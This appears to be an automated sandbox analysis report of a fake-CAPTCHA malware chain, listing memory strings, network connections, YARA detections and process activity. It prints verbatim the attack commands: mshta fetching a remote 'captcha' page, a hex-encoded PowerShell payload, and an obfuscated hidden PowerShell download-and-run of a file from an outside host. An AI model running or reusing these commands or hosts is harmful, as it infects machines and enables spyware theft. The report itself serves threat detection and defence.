Source: powershell.exe, 00000004.00000002.1756039105.000000000577C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: mshta.exe, 00000002.00000003.1769853728.0000000002844000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780566253.0000000002846000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comt
Source: powershell.exe, 00000004.00000002.1759303262.0000000005E7D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2688123535.00000000063DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: mshta.exe, 00000002.00000003.1777514381.000000000282C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780491808.000000000282C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.fizq.net/
Source: mshta.exe, 00000002.00000003.1777514381.0000000002801000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1769853728.0000000002844000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780177793.0000000000680000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780491808.000000000282C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780566253.0000000002846000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.fizq.net/awjxs.captcha
Source: mshta.exe, 00000002.00000002.1780491808.0000000002802000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777514381.0000000002801000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.fizq.net/awjxs.captcha&
Source: mshta.exe, 00000002.00000002.1780566253.0000000002851000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1769853728.0000000002851000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.fizq.net/awjxs.captcha...
Source: mshta.exe, 00000002.00000002.1780491808.0000000002802000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777514381.0000000002801000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.fizq.net/awjxs.captcha0
Source: mshta.exe, 00000002.00000002.1780491808.0000000002802000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777514381.0000000002801000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.fizq.net/awjxs.captcha1
Source: mshta.exe, 00000002.00000002.1780100750.0000000000670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.fizq.net/awjxs.captchaDmG
Source: mshta.exe, 00000002.00000003.1777514381.000000000282C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780491808.000000000282C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.fizq.net/awjxs.captchaP
Source: mshta.exe, 00000002.00000002.1780385458.00000000027D0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780177793.0000000000680000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.fizq.net/awjxs.captchaWinSta0
Source: mshta.exe, 00000002.00000002.1780491808.0000000002802000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777514381.0000000002801000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.fizq.net/awjxs.captchad
Source: mshta.exe, 00000002.00000002.1780491808.0000000002802000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777514381.0000000002801000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.fizq.net/awjxs.captchai
Source: powershell.exe, 00000006.00000002.2728791502.0000000008FA0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: powershell.exe, 00000006.00000002.2728791502.0000000008FA0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: powershell.exe, 00000006.00000002.2728791502.0000000008FA0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822

Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.114:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.18.182:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.183.27:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.4:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.4:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.4:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.4:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.4:49826 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 7572, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7692, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_07802068 NtResumeThread,		6_2_07802068
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_07801C54 NtResumeThread,		6_2_07801C54

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0342E268	6_2_0342E268
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_03429268	6_2_03429268
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_03429278	6_2_03429278
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_03425091	6_2_03425091
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_034250A0	6_2_034250A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_03425A20	6_2_03425A20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_03425A30	6_2_03425A30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_075287D0	6_2_075287D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_075287E0	6_2_075287E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0752D218	6_2_0752D218
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0752D1F9	6_2_0752D1F9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077FA450	6_2_077FA450
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077FC73F	6_2_077FC73F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077FE7F0	6_2_077FE7F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077F9BC8	6_2_077F9BC8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077F9BB9	6_2_077F9BB9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077FA440	6_2_077FA440
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_077FE800	6_2_077FE800

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: Commandline size = 3635
Source: C:\Windows\SysWOW64\mshta.exe	Process created: Commandline size = 3635			Jump to behavior

Source: Process Memory Space: powershell.exe PID: 7572, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7692, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 6.2.powershell.exe.d461e90.2.raw.unpack, ---.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 6.2.powershell.exe.d461e90.2.raw.unpack, ---.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.win@12/7@4/4

Source: C:\Windows\SysWOW64\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7580:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7700:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\Oabvzijojq
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7308:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w1plfcxf.wka.ps1

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /C ""C:\WINDOWS\system32\mshta.exe" https://solve.fizq.net/awjxs.captcha"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\mshta.exe "C:\WINDOWS\system32\mshta.exe" https://solve.fizq.net/awjxs.captcha
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ERrXH($NPRZ){return -split ($NPRZ -replace '..', '0x$& ')};$ZMcko = ERrXH('6C99A336230E5A2C9C9A564A467FCC7257DD8D73078CDDBE02A1C1E1CFEDEF1F69966C54CB1E0285E1AC81545FC7B37E41947EEF4312D686A1E5ECA561E4B330B6BA4E39137E46B1CF88F17B1CB79DDD3D8F77137F26D2026351102801E1B8EE83DC3C63D271BF7B2D32A103440FFAF27E51B9A655BC0FF4EAF17755211742BE41D6E00A001C4AB1700E496BCEB4C89D00508B0B68540C20C935204C74F180AA8B22C7493BDE52C7E082CAA9BE5DA2E40EDA75A53BD815D984B8564B6C5038B4A08214FF76BAA31263424BB9E93A9CE0F6F32C5E9C04A3878210984A5C49EF44488BBF880C62CFC91A641624C5D3BBD2FC8D663749EC8640E19E84846FD13EBD37FE167ECAADF42A3A5F25585727DE5C37C223ECF8D8B397DCD90774ADCB0FD58898F52117E75CF08D8FF61DB1811D9B84EFF315D837D713331AFE66E19BFD84FF8BA54B199FCB0269CBE56507C12EA8637FEA0A67B6D12314008A1A25D934DBDC48FA684F23E9C501CDA3D6EDD7E1DB27877FEBE1B1434E17BC899F36D51BA739F6507615383E3B76DC4DA7CF7DB096F71CD34EF427E409688C24F8BB3BD0F3DB16EAABE36CD48798812B320FEA85CA4F71867DC6D48582D5777965011C7B4801FB2CDB18E83428C7808F638DAAF946C009B3F07F09FF06C12C76831DD7747D232DFD24FB9801CADBFD5E5EC908A1E51EC88CDE84AF039CE48EFE74A558CA4CBD92F3BCFA89B2AA00759AF0A0859F3F4ED35DBE2626C1F3844FACFBE69C3AF62DE312661FA0A1C9EF460D20A5D199852B92C4883BFF88E5B2F1FDABA90D71163E5DDB1A17351D3D569C380BD9B27019E63CAD3FBC9C1BF7848CF286360E4C58DC0982C67C6AEF5785616C9877FDCC9B73B1A787A21FBB8F5F7E06CCEF0CBA53610C8E0459F28EE99160390976D4765E779A2A809EC1AB4F2D73A45E246DFF920777B514611903535C5ED407ADDBF093B0601148111BDF803C8B56E525FA9858F48A247B21967016E863E2168D3C4E89C41F15B44CEDBF3C30A49DB22F27A6E8D16F4FDB02943C76ACD372022387AC294C26B60DAF5F676870DAA3C0FB0B090D7996806834504CCE1C17B4E8229467DA457082CAF7F79AC294EB12BF534C76E52C69F0E157B56FD8069B76BDB2EED8385CD903FA7A13DA82CDBF4E8A8CF38A0A2E5F4242E1C26E5BCB6F3AF8E2445C1B494CCB5C69DC58B7746F0C79D2DA716530BDCA02459C015DBB2ABEA4BECB26097E41CE2FBD300A920FD18318366C5D4B7A04C833A236496C4C8A6188EE9A72760FA54EB5221B2960085B7A18CBB9E11E7CC4689666D213681E9A7D41F02061038A45FF0FE8EBBC097E9B2E8CAC4EDF3BF43758115832CE1E28283D795091E9DAAAC752BD4A4516CE6DDB72B53E8186CA1A4D77D156AFBE03BE987790E9776784A6E70627F727ED765D7F51E83778A499E2FF2CD51DA0DBFD933914AEF22FD2CDEAEB1305C5570317DB8D7475A9AD738EBF387927CED9E50E2B520DD916ED2A173D9E003B4C8EF8F37E793194E4E01D9D0CF44488AFE08088233788987E7EF92C4EA59C09AE3C6978D85B80137C2B4DC42B109F4299AB74B6133D2390EB63B68D01047C56B1C0BAD51059ED21678A8D190F8061EF4644822357A50DF94B8A4E44A6420B241971988F3D27094F5CC39FE50EFB4536F7FF84CB61206C5799806EE78F9E92132F0629C8062B57966710BDE9EF5D86960E07F6CAC367FC1C647D09612B8C1B9FCADAD251FDD08F3143C2A62095850DE26FAB05330A6052FC0C7B88A7633F8EB38E499149753BB3838C0CFCDFD806F53E3DF94F3B82207E016C20A230EA548FAAA34253FDA1400710D76D7406BAE6A40B73B79AD689C21A5D886E4AF2806C14F3364355409B48AF74043DA8F661C1504E41E526A00634CB7BE67747BCECEB4FDFBB3CAB9FA8A9889564D5F64BEF7D5626DA881E86F66
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://atsuka.thrivezest.org/hubus.xlm';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext\|GM)[6].Name).(($ExecutionContext.(($ExecutionContext\|GM)[6].Name).PsObject.Methods\|Where-Object{(DIR Variable:\_).Value.Name-like'GCmt'}).Name).Invoke($ExecutionContext.(($ExecutionContext\|GM)[6].Name).(($ExecutionContext.(($ExecutionContext\|GM)[6].Name)\|GM\|Where-Object{(DIR Variable:\_).Value.Name-like'Come'}).Name).Invoke('w-ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value\|GM)\|Where-Object{(DIR Variable:\_).Value.Name-like'wng'}).Name);($ExecutionContext\|ForEach{(DIR Variable:\_).Value.(($ExecutionContext\|GM)[6].Name)\|ForEach{$_.(($ExecutionContext.(($ExecutionContext\|GM)[6].Name).PsObject.Methods\|Where-Object{(DIR Variable:\_).Value.Name-like'wi*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke()
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\mshta.exe "C:\WINDOWS\system32\mshta.exe" https://solve.fizq.net/awjxs.captcha	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ERrXH($NPRZ){return -split ($NPRZ -replace '..', '0x$& ')};$ZMcko = ERrXH('6C99A336230E5A2C9C9A564A467FCC7257DD8D73078CDDBE02A1C1E1CFEDEF1F69966C54CB1E0285E1AC81545FC7B37E41947EEF4312D686A1E5ECA561E4B330B6BA4E39137E46B1CF88F17B1CB79DDD3D8F77137F26D2026351102801E1B8EE83DC3C63D271BF7B2D32A103440FFAF27E51B9A655BC0FF4EAF17755211742BE41D6E00A001C4AB1700E496BCEB4C89D00508B0B68540C20C935204C74F180AA8B22C7493BDE52C7E082CAA9BE5DA2E40EDA75A53BD815D984B8564B6C5038B4A08214FF76BAA31263424BB9E93A9CE0F6F32C5E9C04A3878210984A5C49EF44488BBF880C62CFC91A641624C5D3BBD2FC8D663749EC8640E19E84846FD13EBD37FE167ECAADF42A3A5F25585727DE5C37C223ECF8D8B397DCD90774ADCB0FD58898F52117E75CF08D8FF61DB1811D9B84EFF315D837D713331AFE66E19BFD84FF8BA54B199FCB0269CBE56507C12EA8637FEA0A67B6D12314008A1A25D934DBDC48FA684F23E9C501CDA3D6EDD7E1DB27877FEBE1B1434E17BC899F36D51BA739F6507615383E3B76DC4DA7CF7DB096F71CD34EF427E409688C24F8BB3BD0F3DB16EAABE36CD48798812B320FEA85CA4F71867DC6D48582D5777965011C7B4801FB2CDB18E83428C7808F638DAAF946C009B3F07F09FF06C12C76831DD7747D232DFD24FB9801CADBFD5E5EC908A1E51EC88CDE84AF039CE48EFE74A558CA4CBD92F3BCFA89B2AA00759AF0A0859F3F4ED35DBE2626C1F3844FACFBE69C3AF62DE312661FA0A1C9EF460D20A5D199852B92C4883BFF88E5B2F1FDABA90D71163E5DDB1A17351D3D569C380BD9B27019E63CAD3FBC9C1BF7848CF286360E4C58DC0982C67C6AEF5785616C9877FDCC9B73B1A787A21FBB8F5F7E06CCEF0CBA53610C8E0459F28EE99160390976D4765E779A2A809EC1AB4F2D73A45E246DFF920777B514611903535C5ED407ADDBF093B0601148111BDF803C8B56E525FA9858F48A247B21967016E863E2168D3C4E89C41F15B44CEDBF3C30A49DB22F27A6E8D16F4FDB02943C76ACD372022387AC294C26B60DAF5F676870DAA3C0FB0B090D7996806834504CCE1C17B4E8229467DA457082CAF7F79AC294EB12BF534C76E52C69F0E157B56FD8069B76BDB2EED8385CD903FA7A13DA82CDBF4E8A8CF38A0A2E5F4242E1C26E5BCB6F3AF8E2445C1B494CCB5C69DC58B7746F0C79D2DA716530BDCA02459C015DBB2ABEA4BECB26097E41CE2FBD300A920FD18318366C5D4B7A04C833A236496C4C8A6188EE9A72760FA54EB5221B2960085B7A18CBB9E11E7CC4689666D213681E9A7D41F02061038A45FF0FE8EBBC097E9B2E8CAC4EDF3BF43758115832CE1E28283D795091E9DAAAC752BD4A4516CE6DDB72B53E8186CA1A4D77D156AFBE03BE987790E9776784A6E70627F727ED765D7F51E83778A499E2FF2CD51DA0DBFD933914AEF22FD2CDEAEB1305C5570317DB8D7475A9AD738EBF387927CED9E50E2B520DD916ED2A173D9E003B4C8EF8F37E793194E4E01D9D0CF44488AFE08088233788987E7EF92C4EA59C09AE3C6978D85B80137C2B4DC42B109F4299AB74B6133D2390EB63B68D01047C56B1C0BAD51059ED21678A8D190F8061EF4644822357A50DF94B8A4E44A6420B241971988F3D27094F5CC39FE50EFB4536F7FF84CB61206C5799806EE78F9E92132F0629C8062B57966710BDE9EF5D86960E07F6CAC367FC1C647D09612B8C1B9FCADAD251FDD08F3143C2A62095850DE26FAB05330A6052FC0C7B88A7633F8EB38E499149753BB3838C0CFCDFD806F53E3DF94F3B82207E016C20A230EA548FAAA34253FDA1400710D76D7406BAE6A40B73B79AD689C21A5D886E4AF2806C14F3364355409B48AF74043DA8F661C1504E41E526A00634CB7BE67747BCECEB4FDFBB3CAB9FA8A9889564D5F64BEF7D5626DA881E86F66	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://atsuka.thrivezest.org/hubus.xlm';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext\|GM)[6].Name).(($ExecutionContext.(($ExecutionContext\|GM)[6].Name).PsObject.Methods\|Where-Object{(DIR Variable:\_).Value.Name-like'GCmt'}).Name).Invoke($ExecutionContext.(($ExecutionContext\|GM)[6].Name).(($ExecutionContext.(($ExecutionContext\|GM)[6].Name)\|GM\|Where-Object{(DIR Variable:\_).Value.Name-like'Come'}).Name).Invoke('w-ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value\|GM)\|Where-Object{(DIR Variable:\_).Value.Name-like'wng'}).Name);($ExecutionContext\|ForEach{(DIR Variable:\_).Value.(($ExecutionContext\|GM)[6].Name)\|ForEach{$_.(($ExecutionContext.(($ExecutionContext\|GM)[6].Name).PsObject.Methods\|Where-Object{(DIR Variable:\_).Value.Name-like'wi*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke()	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ncryptsslp.dll	Jump to behavior
